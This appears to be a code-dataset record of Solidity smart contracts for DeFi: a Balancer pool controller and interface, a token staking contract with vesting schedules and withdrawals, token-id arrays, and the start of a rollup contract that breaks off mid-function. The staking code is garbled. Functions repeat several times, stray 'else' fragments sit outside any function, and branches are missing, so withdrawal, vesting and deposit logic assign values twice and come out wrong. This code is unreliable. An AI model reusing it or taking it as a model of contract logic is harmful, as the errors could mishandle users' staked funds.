poolAddress, amounts[i]); } //Notes: // - If your pool is eligible for weekly BAL rewards, they will be distributed to your LPs automatically // - If you contribute significant long-term liquidity to the platform, you can apply to have smart contract deployment gas costs reimbursed from the Balancer Ecosystem fund // - The pool is the LP token, All pools in Balancer are also ERC20 tokens known as BPTs \(Balancer Pool Tokens\) (uint256 poolAmountOut, uint256[] memory maxAmountsIn) = abi.decode(data, (uint256, uint256[])); IBalancerPool(poolAddress).joinPool(poolAmountOut, maxAmountsIn); } function withdraw(address poolAddress, bytes calldata data) external { (uint256 poolAmountIn, uint256[] memory minAmountsOut) = abi.decode(data, (uint256, uint256[])); _approve(IERC20(poolAddress), poolAddress, poolAmountIn); IBalancerPool(poolAddress).exitPool(poolAmountIn, minAmountsOut); } function _approve( IERC20 token, address poolAddress, uint256 amount ) internal { uint256 currentAllowance = token.allowance(address(this), poolAddress); if (currentAllowance < amount) { token.safeIncreaseAllowance(poolAddress, type(uint256).max.sub(currentAllowance)); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; interface IBalancerPool { event Approval(address indexed src, address indexed dst, uint amt); event Transfer(address indexed src, address indexed dst, uint amt); function totalSupply() external view returns (uint); function balanceOf(address whom) external view returns (uint); function allowance(address src, address dst) external view returns (uint); function approve(address dst, uint amt) external returns (bool); function transfer(address dst, uint amt) external returns (bool); function transferFrom( address src, address dst, uint amt ) external returns (bool); function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external; function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut) external; function getBalance(address token) external view returns (uint); function decimals() external view returns(uint8); function isFinalized() external view returns (bool); function getFinalTokens() external view returns (address[] memory tokens); }
userAddress -> withdrawalInfouserAddress -> -> scheduleIndex -> staking detailuserAddress -> scheduleIdx[]Schedule id/index counterscheduleIndex/id -> schedulescheduleIndex/id[]Can deposit into a non-public schedule
contract Staking is IStaking, Initializable, Ownable, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.UintSet; IERC20 public tokeToken; IManager public manager; address public treasury; uint256 public withheldLiquidity; mapping(address => WithdrawalInfo) public requestedWithdrawals; mapping(address => mapping(uint256 => StakingDetails)) public userStakings; mapping(address => uint256[]) public userStakingSchedules; uint256 public nextScheduleIndex; mapping(uint256 => StakingSchedule) public schedules; EnumerableSet.UintSet private scheduleIdxs; mapping(address => bool) public override permissionedDepositors; import {SafeMathUpgradeable as SafeMath} from "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import {MathUpgradeable as Math} from "@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol"; import {IERC20Upgradeable as IERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {SafeERC20Upgradeable as SafeERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import {OwnableUpgradeable as Ownable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {EnumerableSetUpgradeable as EnumerableSet} from "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol"; import {PausableUpgradeable as Pausable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; modifier onlyPermissionedDepositors() { require(_isAllowedPermissionedDeposit(), "CALLER_NOT_PERMISSIONED"); _; } function initialize( IERC20 _tokeToken, IManager _manager, address _treasury ) public initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); require(address(_tokeToken) != address(0), "INVALID_TOKETOKEN"); require(address(_manager) != address(0), "INVALID_MANAGER"); require(_treasury != address(0), "INVALID_TREASURY"); tokeToken = _tokeToken; manager = _manager; treasury = _treasury; _addSchedule( StakingSchedule({ cliff: 0, duration: 1, interval: 1, setup: true, isActive: true, hardStart: 0, isPublic: true }) ); } function initialize( IERC20 _tokeToken, IManager _manager, address _treasury ) public initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); require(address(_tokeToken) != address(0), "INVALID_TOKETOKEN"); require(address(_manager) != address(0), "INVALID_MANAGER"); require(_treasury != address(0), "INVALID_TREASURY"); tokeToken = _tokeToken; manager = _manager; treasury = _treasury; _addSchedule( StakingSchedule({ cliff: 0, duration: 1, interval: 1, setup: true, isActive: true, hardStart: 0, isPublic: true }) ); } function addSchedule(StakingSchedule memory schedule) external override onlyOwner { _addSchedule(schedule); } function setPermissionedDepositor(address account, bool canDeposit) external override onlyOwner { permissionedDepositors[account] = canDeposit; } function setUserSchedules(address account, uint256[] calldata userSchedulesIdxs) external override onlyOwner { userStakingSchedules[account] = userSchedulesIdxs; } function getSchedules() external view override returns (StakingScheduleInfo[] memory retSchedules) { uint256 length = scheduleIdxs.length(); retSchedules = new StakingScheduleInfo[](length); for (uint256 i = 0; i < length; i++) { retSchedules[i] = StakingScheduleInfo( schedules[scheduleIdxs.at(i)], scheduleIdxs.at(i) ); } } function getSchedules() external view override returns (StakingScheduleInfo[] memory retSchedules) { uint256 length = scheduleIdxs.length(); retSchedules = new StakingScheduleInfo[](length); for (uint256 i = 0; i < length; i++) { retSchedules[i] = StakingScheduleInfo( schedules[scheduleIdxs.at(i)], scheduleIdxs.at(i) ); } } function removeSchedule(uint256 scheduleIndex) external override onlyOwner { require(scheduleIdxs.contains(scheduleIndex), "INVALID_SCHEDULE"); scheduleIdxs.remove(scheduleIndex); delete schedules[scheduleIndex]; emit ScheduleRemoved(scheduleIndex); } function getStakes(address account) external view override returns (StakingDetails[] memory stakes) { stakes = _getStakes(account); } function balanceOf(address account) external view override returns (uint256 value) { value = 0; uint256 scheduleCount = userStakingSchedules[account].length; for (uint256 i = 0; i < scheduleCount; i++) { uint256 remaining = userStakings[account][userStakingSchedules[account][i]].initial.sub( userStakings[account][userStakingSchedules[account][i]].withdrawn ); uint256 slashed = userStakings[account][userStakingSchedules[account][i]].slashed; if (remaining > slashed) { value = value.add(remaining.sub(slashed)); } } } function balanceOf(address account) external view override returns (uint256 value) { value = 0; uint256 scheduleCount = userStakingSchedules[account].length; for (uint256 i = 0; i < scheduleCount; i++) { uint256 remaining = userStakings[account][userStakingSchedules[account][i]].initial.sub( userStakings[account][userStakingSchedules[account][i]].withdrawn ); uint256 slashed = userStakings[account][userStakingSchedules[account][i]].slashed; if (remaining > slashed) { value = value.add(remaining.sub(slashed)); } } } function balanceOf(address account) external view override returns (uint256 value) { value = 0; uint256 scheduleCount = userStakingSchedules[account].length; for (uint256 i = 0; i < scheduleCount; i++) { uint256 remaining = userStakings[account][userStakingSchedules[account][i]].initial.sub( userStakings[account][userStakingSchedules[account][i]].withdrawn ); uint256 slashed = userStakings[account][userStakingSchedules[account][i]].slashed; if (remaining > slashed) { value = value.add(remaining.sub(slashed)); } } } function availableForWithdrawal(address account, uint256 scheduleIndex) external view override returns (uint256) { return _availableForWithdrawal(account, scheduleIndex); } function unvested(address account, uint256 scheduleIndex) external view override returns (uint256 value) { value = 0; StakingDetails memory stake = userStakings[account][scheduleIndex]; value = stake.initial.sub(_vested(account, scheduleIndex)); } function vested(address account, uint256 scheduleIndex) external view override returns (uint256 value) { return _vested(account, scheduleIndex); } function deposit(uint256 amount, uint256 scheduleIndex) external override { _depositFor(msg.sender, amount, scheduleIndex); } function depositFor( address account, uint256 amount, uint256 scheduleIndex ) external override { _depositFor(account, amount, scheduleIndex); } function depositWithSchedule( address account, uint256 amount, StakingSchedule calldata schedule ) external override onlyPermissionedDepositors { uint256 scheduleIx = nextScheduleIndex; _addSchedule(schedule); _depositFor(account, amount, scheduleIx); } function requestWithdrawal(uint256 amount) external override { require(amount > 0, "INVALID_AMOUNT"); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 length = stakes.length; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length; i++) { stakedAvailable = stakedAvailable.add( _availableForWithdrawal(msg.sender, stakes[i].scheduleIx) ); } require(stakedAvailable >= amount, "INSUFFICIENT_AVAILABLE"); withheldLiquidity = withheldLiquidity.sub(requestedWithdrawals[msg.sender].amount).add( amount ); requestedWithdrawals[msg.sender].amount = amount; if (manager.getRolloverStatus()) { requestedWithdrawals[msg.sender].minCycleIndex = manager.getCurrentCycleIndex().add(2); requestedWithdrawals[msg.sender].minCycleIndex = manager.getCurrentCycleIndex().add(1); } emit WithdrawalRequested(msg.sender, amount); } function requestWithdrawal(uint256 amount) external override { require(amount > 0, "INVALID_AMOUNT"); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 length = stakes.length; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length; i++) { stakedAvailable = stakedAvailable.add( _availableForWithdrawal(msg.sender, stakes[i].scheduleIx) ); } require(stakedAvailable >= amount, "INSUFFICIENT_AVAILABLE"); withheldLiquidity = withheldLiquidity.sub(requestedWithdrawals[msg.sender].amount).add( amount ); requestedWithdrawals[msg.sender].amount = amount; if (manager.getRolloverStatus()) { requestedWithdrawals[msg.sender].minCycleIndex = manager.getCurrentCycleIndex().add(2); requestedWithdrawals[msg.sender].minCycleIndex = manager.getCurrentCycleIndex().add(1); } emit WithdrawalRequested(msg.sender, amount); } function requestWithdrawal(uint256 amount) external override { require(amount > 0, "INVALID_AMOUNT"); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 length = stakes.length; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length; i++) { stakedAvailable = stakedAvailable.add( _availableForWithdrawal(msg.sender, stakes[i].scheduleIx) ); } require(stakedAvailable >= amount, "INSUFFICIENT_AVAILABLE"); withheldLiquidity = withheldLiquidity.sub(requestedWithdrawals[msg.sender].amount).add( amount ); requestedWithdrawals[msg.sender].amount = amount; if (manager.getRolloverStatus()) { requestedWithdrawals[msg.sender].minCycleIndex = manager.getCurrentCycleIndex().add(2); requestedWithdrawals[msg.sender].minCycleIndex = manager.getCurrentCycleIndex().add(1); } emit WithdrawalRequested(msg.sender, amount); } } else { function withdraw(uint256 amount) external override { require(amount <= requestedWithdrawals[msg.sender].amount, "WITHDRAW_INSUFFICIENT_BALANCE"); require(amount > 0, "NO_WITHDRAWAL"); require( requestedWithdrawals[msg.sender].minCycleIndex <= manager.getCurrentCycleIndex(), "INVALID_CYCLE" ); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 available = 0; uint256 length = stakes.length; uint256 remainingAmount = amount; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length && remainingAmount > 0; i++) { stakedAvailable = _availableForWithdrawal(msg.sender, stakes[i].scheduleIx); available = available.add(stakedAvailable); if (stakedAvailable < remainingAmount) { remainingAmount = remainingAmount.sub(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(remainingAmount); remainingAmount = 0; } userStakings[msg.sender][stakes[i].scheduleIx] = stakes[i]; } requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub( amount ); if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } withheldLiquidity = withheldLiquidity.sub(amount); tokeToken.safeTransfer(msg.sender, amount); emit WithdrawCompleted(msg.sender, amount); } function withdraw(uint256 amount) external override { require(amount <= requestedWithdrawals[msg.sender].amount, "WITHDRAW_INSUFFICIENT_BALANCE"); require(amount > 0, "NO_WITHDRAWAL"); require( requestedWithdrawals[msg.sender].minCycleIndex <= manager.getCurrentCycleIndex(), "INVALID_CYCLE" ); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 available = 0; uint256 length = stakes.length; uint256 remainingAmount = amount; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length && remainingAmount > 0; i++) { stakedAvailable = _availableForWithdrawal(msg.sender, stakes[i].scheduleIx); available = available.add(stakedAvailable); if (stakedAvailable < remainingAmount) { remainingAmount = remainingAmount.sub(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(remainingAmount); remainingAmount = 0; } userStakings[msg.sender][stakes[i].scheduleIx] = stakes[i]; } requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub( amount ); if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } withheldLiquidity = withheldLiquidity.sub(amount); tokeToken.safeTransfer(msg.sender, amount); emit WithdrawCompleted(msg.sender, amount); } function withdraw(uint256 amount) external override { require(amount <= requestedWithdrawals[msg.sender].amount, "WITHDRAW_INSUFFICIENT_BALANCE"); require(amount > 0, "NO_WITHDRAWAL"); require( requestedWithdrawals[msg.sender].minCycleIndex <= manager.getCurrentCycleIndex(), "INVALID_CYCLE" ); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 available = 0; uint256 length = stakes.length; uint256 remainingAmount = amount; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length && remainingAmount > 0; i++) { stakedAvailable = _availableForWithdrawal(msg.sender, stakes[i].scheduleIx); available = available.add(stakedAvailable); if (stakedAvailable < remainingAmount) { remainingAmount = remainingAmount.sub(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(remainingAmount); remainingAmount = 0; } userStakings[msg.sender][stakes[i].scheduleIx] = stakes[i]; } requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub( amount ); if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } withheldLiquidity = withheldLiquidity.sub(amount); tokeToken.safeTransfer(msg.sender, amount); emit WithdrawCompleted(msg.sender, amount); } } else { function withdraw(uint256 amount) external override { require(amount <= requestedWithdrawals[msg.sender].amount, "WITHDRAW_INSUFFICIENT_BALANCE"); require(amount > 0, "NO_WITHDRAWAL"); require( requestedWithdrawals[msg.sender].minCycleIndex <= manager.getCurrentCycleIndex(), "INVALID_CYCLE" ); StakingDetails[] memory stakes = _getStakes(msg.sender); uint256 available = 0; uint256 length = stakes.length; uint256 remainingAmount = amount; uint256 stakedAvailable = 0; for (uint256 i = 0; i < length && remainingAmount > 0; i++) { stakedAvailable = _availableForWithdrawal(msg.sender, stakes[i].scheduleIx); available = available.add(stakedAvailable); if (stakedAvailable < remainingAmount) { remainingAmount = remainingAmount.sub(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(stakedAvailable); stakes[i].withdrawn = stakes[i].withdrawn.add(remainingAmount); remainingAmount = 0; } userStakings[msg.sender][stakes[i].scheduleIx] = stakes[i]; } requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub( amount ); if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } withheldLiquidity = withheldLiquidity.sub(amount); tokeToken.safeTransfer(msg.sender, amount); emit WithdrawCompleted(msg.sender, amount); } function slash( address account, uint256 amount, uint256 scheduleIndex ) external onlyOwner { StakingSchedule storage schedule = schedules[scheduleIndex]; require(amount > 0, "INVALID_AMOUNT"); require(schedule.setup, "INVALID_SCHEDULE"); StakingDetails memory userStake = userStakings[account][scheduleIndex]; require(userStake.initial > 0, "NO_VESTING"); uint256 availableToSlash = 0; uint256 remaining = userStake.initial.sub(userStake.withdrawn); if (remaining > userStake.slashed) { availableToSlash = remaining.sub(userStake.slashed); } require(availableToSlash >= amount, "INSUFFICIENT_AVAILABLE"); userStake.slashed = userStake.slashed.add(amount); userStakings[account][scheduleIndex] = userStake; tokeToken.safeTransfer(treasury, amount); emit Slashed(account, amount, scheduleIndex); } function slash( address account, uint256 amount, uint256 scheduleIndex ) external onlyOwner { StakingSchedule storage schedule = schedules[scheduleIndex]; require(amount > 0, "INVALID_AMOUNT"); require(schedule.setup, "INVALID_SCHEDULE"); StakingDetails memory userStake = userStakings[account][scheduleIndex]; require(userStake.initial > 0, "NO_VESTING"); uint256 availableToSlash = 0; uint256 remaining = userStake.initial.sub(userStake.withdrawn); if (remaining > userStake.slashed) { availableToSlash = remaining.sub(userStake.slashed); } require(availableToSlash >= amount, "INSUFFICIENT_AVAILABLE"); userStake.slashed = userStake.slashed.add(amount); userStakings[account][scheduleIndex] = userStake; tokeToken.safeTransfer(treasury, amount); emit Slashed(account, amount, scheduleIndex); } function pause() external override onlyOwner { _pause(); } function unpause() external override onlyOwner { _unpause(); } function _availableForWithdrawal(address account, uint256 scheduleIndex) private view returns (uint256) { StakingDetails memory stake = userStakings[account][scheduleIndex]; uint256 vestedWoWithdrawn = _vested(account, scheduleIndex).sub(stake.withdrawn); if (stake.slashed > vestedWoWithdrawn) return 0; return vestedWoWithdrawn.sub(stake.slashed); } function _depositFor( address account, uint256 amount, uint256 scheduleIndex ) private { StakingSchedule memory schedule = schedules[scheduleIndex]; require(!paused(), "Pausable: paused"); require(amount > 0, "INVALID_AMOUNT"); require(schedule.setup, "INVALID_SCHEDULE"); require(schedule.isActive, "INACTIVE_SCHEDULE"); require(account != address(0), "INVALID_ADDRESS"); require(schedule.isPublic || _isAllowedPermissionedDeposit(), "PERMISSIONED_SCHEDULE"); StakingDetails memory userStake = userStakings[account][scheduleIndex]; if (userStake.initial == 0) { userStakingSchedules[account].push(scheduleIndex); } userStake.initial = userStake.initial.add(amount); if (schedule.hardStart > 0) { userStake.started = schedule.hardStart; userStake.started = block.timestamp; } userStake.scheduleIx = scheduleIndex; userStakings[account][scheduleIndex] = userStake; tokeToken.safeTransferFrom(msg.sender, address(this), amount); emit Deposited(account, amount, scheduleIndex); } function _depositFor( address account, uint256 amount, uint256 scheduleIndex ) private { StakingSchedule memory schedule = schedules[scheduleIndex]; require(!paused(), "Pausable: paused"); require(amount > 0, "INVALID_AMOUNT"); require(schedule.setup, "INVALID_SCHEDULE"); require(schedule.isActive, "INACTIVE_SCHEDULE"); require(account != address(0), "INVALID_ADDRESS"); require(schedule.isPublic || _isAllowedPermissionedDeposit(), "PERMISSIONED_SCHEDULE"); StakingDetails memory userStake = userStakings[account][scheduleIndex]; if (userStake.initial == 0) { userStakingSchedules[account].push(scheduleIndex); } userStake.initial = userStake.initial.add(amount); if (schedule.hardStart > 0) { userStake.started = schedule.hardStart; userStake.started = block.timestamp; } userStake.scheduleIx = scheduleIndex; userStakings[account][scheduleIndex] = userStake; tokeToken.safeTransferFrom(msg.sender, address(this), amount); emit Deposited(account, amount, scheduleIndex); } function _depositFor( address account, uint256 amount, uint256 scheduleIndex ) private { StakingSchedule memory schedule = schedules[scheduleIndex]; require(!paused(), "Pausable: paused"); require(amount > 0, "INVALID_AMOUNT"); require(schedule.setup, "INVALID_SCHEDULE"); require(schedule.isActive, "INACTIVE_SCHEDULE"); require(account != address(0), "INVALID_ADDRESS"); require(schedule.isPublic || _isAllowedPermissionedDeposit(), "PERMISSIONED_SCHEDULE"); StakingDetails memory userStake = userStakings[account][scheduleIndex]; if (userStake.initial == 0) { userStakingSchedules[account].push(scheduleIndex); } userStake.initial = userStake.initial.add(amount); if (schedule.hardStart > 0) { userStake.started = schedule.hardStart; userStake.started = block.timestamp; } userStake.scheduleIx = scheduleIndex; userStakings[account][scheduleIndex] = userStake; tokeToken.safeTransferFrom(msg.sender, address(this), amount); emit Deposited(account, amount, scheduleIndex); } } else { function _vested(address account, uint256 scheduleIndex) private view returns (uint256) { uint256 timestamp = block.timestamp; uint256 value = 0; StakingDetails memory stake = userStakings[account][scheduleIndex]; StakingSchedule memory schedule = schedules[scheduleIndex]; uint256 cliffTimestamp = stake.started.add(schedule.cliff); if (cliffTimestamp <= timestamp) { if (cliffTimestamp.add(schedule.duration) <= timestamp) { value = stake.initial; uint256 secondsStaked = Math.max(timestamp.sub(cliffTimestamp), 1); uint256 effectiveSecondsStaked = (secondsStaked.mul(schedule.interval)).div( schedule.interval ); value = stake.initial.mul(effectiveSecondsStaked).div(schedule.duration); } } return value; } function _vested(address account, uint256 scheduleIndex) private view returns (uint256) { uint256 timestamp = block.timestamp; uint256 value = 0; StakingDetails memory stake = userStakings[account][scheduleIndex]; StakingSchedule memory schedule = schedules[scheduleIndex]; uint256 cliffTimestamp = stake.started.add(schedule.cliff); if (cliffTimestamp <= timestamp) { if (cliffTimestamp.add(schedule.duration) <= timestamp) { value = stake.initial; uint256 secondsStaked = Math.max(timestamp.sub(cliffTimestamp), 1); uint256 effectiveSecondsStaked = (secondsStaked.mul(schedule.interval)).div( schedule.interval ); value = stake.initial.mul(effectiveSecondsStaked).div(schedule.duration); } } return value; } function _vested(address account, uint256 scheduleIndex) private view returns (uint256) { uint256 timestamp = block.timestamp; uint256 value = 0; StakingDetails memory stake = userStakings[account][scheduleIndex]; StakingSchedule memory schedule = schedules[scheduleIndex]; uint256 cliffTimestamp = stake.started.add(schedule.cliff); if (cliffTimestamp <= timestamp) { if (cliffTimestamp.add(schedule.duration) <= timestamp) { value = stake.initial; uint256 secondsStaked = Math.max(timestamp.sub(cliffTimestamp), 1); uint256 effectiveSecondsStaked = (secondsStaked.mul(schedule.interval)).div( schedule.interval ); value = stake.initial.mul(effectiveSecondsStaked).div(schedule.duration); } } return value; } } else { function _addSchedule(StakingSchedule memory schedule) private { require(schedule.duration > 0, "INVALID_DURATION"); require(schedule.interval > 0, "INVALID_INTERVAL"); schedule.setup = true; uint256 index = nextScheduleIndex; schedules[index] = schedule; scheduleIdxs.add(index); nextScheduleIndex = nextScheduleIndex.add(1); emit ScheduleAdded( index, schedule.cliff, schedule.duration, schedule.interval, schedule.setup, schedule.isActive, schedule.hardStart ); } function _getStakes(address account) private view returns (StakingDetails[] memory stakes) { uint256 stakeCnt = userStakingSchedules[account].length; stakes = new StakingDetails[](stakeCnt); for (uint256 i = 0; i < stakeCnt; i++) { stakes[i] = userStakings[account][userStakingSchedules[account][i]]; } } function _getStakes(address account) private view returns (StakingDetails[] memory stakes) { uint256 stakeCnt = userStakingSchedules[account].length; stakes = new StakingDetails[](stakeCnt); for (uint256 i = 0; i < stakeCnt; i++) { stakes[i] = userStakings[account][userStakingSchedules[account][i]]; } } function _isAllowedPermissionedDeposit() private view returns (bool) { return permissionedDepositors[msg.sender] || msg.sender == owner(); } }
6,377,817
[ 1, 1355, 1887, 317, 598, 9446, 287, 966, 1355, 1887, 317, 317, 4788, 1016, 317, 384, 6159, 7664, 1355, 1887, 317, 4788, 4223, 8526, 6061, 612, 19, 1615, 3895, 10676, 1016, 19, 350, 317, 26720, 2847, 1016, 19, 350, 8526, 2568, 443, 1724, 1368, 279, 1661, 17, 482, 4788, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 934, 6159, 353, 467, 510, 6159, 16, 10188, 6934, 16, 14223, 6914, 16, 21800, 16665, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 5487, 694, 31, 203, 203, 565, 467, 654, 39, 3462, 1071, 946, 73, 1345, 31, 203, 565, 467, 1318, 1071, 3301, 31, 203, 203, 565, 1758, 1071, 9787, 345, 22498, 31, 203, 203, 565, 2254, 5034, 1071, 598, 76, 488, 48, 18988, 24237, 31, 203, 565, 2874, 12, 2867, 516, 3423, 9446, 287, 966, 13, 1071, 3764, 1190, 9446, 1031, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 11890, 5034, 516, 934, 6159, 3790, 3719, 1071, 729, 510, 581, 899, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 63, 5717, 1071, 729, 510, 6159, 27073, 31, 203, 203, 565, 2254, 5034, 1071, 1024, 6061, 1016, 31, 203, 565, 2874, 12, 11890, 5034, 516, 934, 6159, 6061, 13, 1071, 26720, 31, 203, 565, 6057, 25121, 694, 18, 5487, 694, 3238, 4788, 4223, 87, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 3849, 4132, 329, 758, 1724, 1383, 31, 203, 203, 203, 5666, 288, 9890, 10477, 10784, 429, 487, 14060, 10477, 97, 628, 8787, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 17, 15097, 429, 19, 15949, 19, 9890, 10477, 10784, 429, 18, 18281, 14432, 203, 5666, 288, 10477, 10784, 429, 487, 2361, 97, 628, 8787, 3190, 94, 2 ]
pragma solidity ^0.5.15; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import "solidity-bytes-utils/contracts/BytesLib.sol"; import { IERC20 } from "./interfaces/IERC20.sol"; import { ITokenRegistry } from "./interfaces/ITokenRegistry.sol"; import { IFraudProof } from "./interfaces/IFraudProof.sol"; import { ParamManager } from "./libs/ParamManager.sol"; import { Types } from "./libs/Types.sol"; import { RollupUtils } from "./libs/RollupUtils.sol"; import { ECVerify } from "./libs/ECVerify.sol"; import { IncrementalTree } from "./IncrementalTree.sol"; import { Logger } from "./logger.sol"; import { POB } from "./POB.sol"; import { MerkleTreeUtils as MTUtils } from "./MerkleTreeUtils.sol"; import { NameRegistry as Registry } from "./NameRegistry.sol"; import { Governance } from "./Governance.sol"; import { DepositManager } from "./DepositManager.sol"; contract RollupSetup { using SafeMath for uint256; using BytesLib for bytes; using ECVerify for bytes32; /********************* * Variable Declarations * ********************/ // External contracts DepositManager public depositManager; IncrementalTree public accountsTree; Logger public logger; ITokenRegistry public tokenRegistry; Registry public nameRegistry; Types.Batch[] public batches; MTUtils public merkleUtils; IFraudProof public fraudProof; bytes32 public constant ZERO_BYTES32 = 0x0000000000000000000000000000000000000000000000000000000000000000; address payable constant BURN_ADDRESS = 0x0000000000000000000000000000000000000000; Governance public governance; // this variable will be greater than 0 if // there is rollback in progress // will be reset to 0 once rollback is completed uint256 public invalidBatchMarker; modifier onlyCoordinator() { POB pobContract = POB( nameRegistry.getContractDetails(ParamManager.POB()) ); assert(msg.sender == pobContract.getCoordinator()); _; } modifier isNotRollingBack() { assert(invalidBatchMarker == 0); _; } modifier isRollingBack() { assert(invalidBatchMarker > 0); _; } } contract RollupHelpers is RollupSetup { /** * @notice Returns the latest state root */ function getLatestBalanceTreeRoot() public view returns (bytes32) { return batches[batches.length - 1].stateRoot; } /** * @notice Returns the total number of batches submitted */ function numOfBatchesSubmitted() public view returns (uint256) { return batches.length; } function addNewBatch( bytes32 txRoot, bytes32 _updatedRoot, Types.Usage batchType ) internal { Types.Batch memory newBatch = Types.Batch({ stateRoot: _updatedRoot, accountRoot: accountsTree.getTreeRoot(), depositTree: ZERO_BYTES32, committer: msg.sender, txRoot: txRoot, stakeCommitted: msg.value, finalisesOn: block.number + governance.TIME_TO_FINALISE(), timestamp: now, batchType: batchType }); batches.push(newBatch); logger.logNewBatch( newBatch.committer, txRoot, _updatedRoot, batches.length - 1, batchType ); } function addNewBatchWithDeposit(bytes32 _updatedRoot, bytes32 depositRoot) internal { Types.Batch memory newBatch = Types.Batch({ stateRoot: _updatedRoot, accountRoot: accountsTree.getTreeRoot(), depositTree: depositRoot, committer: msg.sender, txRoot: ZERO_BYTES32, stakeCommitted: msg.value, finalisesOn: block.number + governance.TIME_TO_FINALISE(), timestamp: now, batchType: Types.Usage.Deposit }); batches.push(newBatch); logger.logNewBatch( newBatch.committer, ZERO_BYTES32, _updatedRoot, batches.length - 1, Types.Usage.Deposit ); } /** * @notice Returns the batch */ function getBatch(uint256 _batch_id) public view returns (Types.Batch memory batch) { require( batches.length - 1 >= _batch_id, "Batch id greater than total number of batches, invalid batch id" ); batch = batches[_batch_id]; } /** * @notice SlashAndRollback slashes all the coordinator's who have built on top of the invalid batch * and rewards challengers. Also deletes all the batches after invalid batch */ function SlashAndRollback() public isRollingBack { uint256 challengerRewards = 0; uint256 burnedAmount = 0; uint256 totalSlashings = 0; for (uint256 i = batches.length - 1; i >= invalidBatchMarker; i--) { // if gas left is low we would like to do all the transfers // and persist intermediate states so someone else can send another tx // and rollback remaining batches if (gasleft() <= governance.MIN_GAS_LIMIT_LEFT()) { // exit loop gracefully break; } // load batch Types.Batch memory batch = batches[i]; // calculate challeger's reward uint256 _challengerReward = (batch.stakeCommitted.mul(2)).div(3); challengerRewards += _challengerReward; burnedAmount += batch.stakeCommitted.sub(_challengerReward); batches[i].stakeCommitted = 0; // delete batch delete batches[i]; // queue deposits again depositManager.enqueue(batch.depositTree); totalSlashings++; logger.logBatchRollback( i, batch.committer, batch.stateRoot, batch.txRoot, 